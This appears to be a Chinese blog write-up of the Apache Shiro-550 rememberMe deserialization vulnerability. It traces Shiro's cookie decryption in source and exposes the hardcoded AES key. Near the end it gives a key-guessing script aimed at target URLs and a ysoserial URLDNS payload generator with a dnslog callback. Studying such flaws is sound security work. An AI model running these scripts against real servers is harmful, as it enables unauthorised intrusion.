Apache Shiro-550反序列化漏洞分析
Apache Shiro简介
Apache Shiro 是
ASF
旗下的一款开源软件(Shiro发音为“shee-roh”,日语“堡垒(Castle)”的意思),提供了一个强大而灵活的安全框架。可为任何应用提供安全保障— 从命令行应用、移动应用到大型网络及企业应用。
Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。
漏洞原理
Apache Shiro
框架提供了记住密码的功能(RememberMe)
,用户登录成功后会生成经过加密并编码的cookie
。在服务端对rememberMe
的cookie
值,先base64
解码然后AES
解密再反序列化,就导致了反序列化漏洞。
在 Apache Shiro<=1.2.4
版本中 AES
加密时采用的 key
是硬编码在代码中的,这就为伪造 cookie
提供了机会。只要 rememberMe
的 AES
加密密钥泄露,无论 shiro
是什么版本都会导致反序列化漏洞。
攻击流程:
- 序列化恶意对象(payload)
- 对序列化的数据进行AES加密
- 将加密后的数据进行base64编码
- 发送 rememberMe cookie
环境搭建
所用环境:
JDK1.8
Tomcat 9.0.53
Apache Shiro 1.2.4
通过git下载源码,并且切换到1.2.4版本
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
或者直接下载zip
文件,链接:
https://github.91chi.fun//https://github.com//apache/shiro/archive/refs/tags/shiro-root-1.2.4.zip
接着用IEDA打开这个项目下shiro-shiro-root-1.2.4/samples/
的web项目,由于Maven需要导入依赖,所以需要一些时间。
修改pom.xml,使其支持jsp
,导入jstl
,不过我看父项目中是有这个包的
我看网上的文章都写了,我这里也添加以下,防止出错
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
将shiro部署到tomcat中。jdk使用的是1.8。端口改成了8081,方便Burp抓包
添加war
包
启动Tomcat之后出现如下界面环境就算配置成功了
漏洞分析
shiro认证流程
如果熟悉shiro用户认证的流程,则会知道,shiro框架实现了AbstractShiroFilter
类,该类实现了Filter拦截器接口,会拦截web应用所有用户认证的http请求。
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
类中的doFilterInternal
方法会处理请求,把http
请求的内容封装到Subject
主体中。
Subject
主体的创建会通过securityManager
安全管理器来完成,因此在buildSubject
方法中,securityManager
安全管理器调用createSubject
方法并传入了一个subjectContext
参数,该参数内部封装了http
请求中的内容
DefaultSecurityManager
安全管理器的createSubject
方法内部会调用了一个resolvePrincipals
方法解析SubjectContext
的内容
resolvePrincipals
方法内部会调用resolvePrincipals
方法尝试解析SubjectContext
中的Principal
(身份信息),如果解析为空则会调用getRememberedIdentity
方法继续从SubjectContext
中获取http
请求中cookie
字段中rememberMe
的内容。
因此触发反序列化漏洞的关键就在于DefaultSecurityManager
安全管理器的getRememberedIdentity
方法,该方发是反序列化漏洞的起点
注:在搜索这些方法时可能出现搜不到结果,这是因为源码没有下载下来
设置Maven自动下载源码
或者用点击Maven中的下载按钮下载源码
漏洞产生原因
解密过程
现在我们从getRememberedIdentity
开始分析,文件位置org/apache/shiro/mgt/DefaultSecurityManager.java
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberMeManager();
if (rmm != null) {
try {
return rmm.getRememberedPrincipals(subjectContext);
} catch (Exception e) {
if (log.isWarnEnabled()) {
String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
"] threw an exception during getRememberedPrincipals().";
log.warn(msg, e);
}
}
}
return null;
}
搜索在哪里调用了该方法。如果一直往上追溯,最终可以回到doFilterInternal
。
在getRememberedIdentity
方法中调用了rmm.getRememberedPrincipals(subjectContext);
,这里会从subjectContext
中封装的cookie
字段中解析rememberMe
的内容。由于类是接口,按快捷键Ctrl+Alt+左键
可跳转到具体实现的方法。
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
通过byte[] bytes = getRememberedSerializedIdentity(subjectContext);
获取经过AES加密的字节码。跟进去
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
这个方法内部获取了request
和respense
,然后获取rememberMe的cooke
值:String base64 = getCookie().readValue(request, response);
,然后再base64
解码:byte[] decoded = Base64.decode(base64);
返回之后再回到getRememberedPrincipals
方法中执行这条语句principals = convertBytesToPrincipals(bytes, subjectContext);
,这里包含了解密和反序列化的过程,这是触发漏洞的点了。
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
可以看到这里实现了解密和反序列化。
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
通过getDecryptionCipherKey()
方法获取密钥
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
找密钥在哪里设置的,与之对应肯定有setDecryptionCipherKey
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
这里可以看到,密钥是写死的,只要知道密钥,就会产生反序列化漏洞。
回到deserialize
中。可以看到这里对反序列化的类进行了判断,需要为PrincipalCollection
,否则会抛出异常。不过这里并不会影响反序列化成功。因为是先反序列化在进行强转。
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}
调用了getSerializer().deserialize(serializedIdentity);
实现反序列化。
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
ClassResolvingObjectInputStream
,shiro
重新实现了反序列化类
并且重写了resolveClass
方法,在反序列化时会自动调用该函数。后面利用的时候会受到影响,后面说。
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
到此为止整个解密反序列化的流量就跟踪完成了。由于密钥写死了,导致漏洞产生。
加密过程
加密过程当我们登录的时候如果点了Remember Me
,则会对PrincipalCollection
类进行反序列化,并且加密,里面存储了账号的用户名和其它的一些信息。
过程和解密过程一样的,只不过反着来的。调用的方法为rememberIdentity
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}
convertPrincipalsToBytes
方法实现了对PrincipalCollection
类反序列化和加密过程。过程和解密一样。
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}
完成之后调用rememberSerializedIdentity(subject, bytes);
,对字节码进行base64
编码。
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);
Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
通过Alt+F7
往上追溯。在org/apache/shiro/mgt/AbstractRememberMeManager.java
的onSuccessfulLogin
方法中调用了isRememberMe
,用来判断用户是否选择了Remember Me
选项
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);
//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}
漏洞探测
指纹识别
在利用shiro
漏洞时需要判断应用是否用到了shiro
。在请求包的Cookie
中为 rememberMe
字段赋任意值,收到返回包的 Set-Cookie
中存在
rememberMe=deleteMe
字段,说明目标有使用Shiro
框架,可以进一步测试。
AES
密钥
Shiro 1.2.4
及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550)
,Shiro 1.2.4
以上版本官方移除了代码中的默认密钥,要求开发者自己设
置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
但是即使升级到了1.2.4
以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
AES密钥判断
那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response
包含Set-Cookie:
rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe
字段。
密钥不正确
Key
不正确,解密时org.apache.shiro.crypto.JcaCipherService#crypt
抛出异常。
进而走进org.apache.shiro.web.servlet.impleCookie#removeFrom
方法,在返回包中添加了rememberMe=deleteMe
字段。
类型转换异常
org.apache.shiro.mgt.AbstractRememberMeManager#deserialize
进行数据反序列化,返回结果前有对反序列化结果对象做PrincipalCollection
的强制
类型转换。否则会出现类型转换报错。将会再次走到org.apache.shiro.web.servlet.SimpleCookie#removeFrom
方法,为返回包添加了rememberMe=deleteMe
字段。
因此我们需要构造payload
排除类型转换错误,进而准确判断密钥。当序列化对象继承PrincipalCollection
时,类型转换正常,SimplePrincipalCollection
是已存在的可利用类。
密钥判断脚本
shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄
漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情
况。
这里给出大佬Veraxy的脚本
import base64
import uuid
import requests
from Crypto.Cipher import AES
def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)
def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)
漏洞复现
通过漏洞原理可以知道,构造Payload
需要将利用链通过AES
加密后在base64
编码。将Payload的值设置为rememberMe cookie
的值,这里借助ysoserial
中的URLDNS
链去打。RCE的链以及遇到的问题后面分析。这列给出python
的利用代码。
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
popen = subprocess.Popen([r'D:\Program Files\Java\jdk1.8.0_301\bin\java.exe', '-jar', r'F:\CTF资料\CTF工具\ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# 替换dnslog
payload = rememberme('http://dq6w3y.dnslog.cn')
print("rememberMe={}".format(payload.decode()))
先用上面的python代码跑出正确的kye:
生成Payload
查看Dnslog
可以看到成功利用了URLDNS
链。
参考文章
https://blog.csdn.net/qq_35733751/article/details/120129600
Comments | NOTHING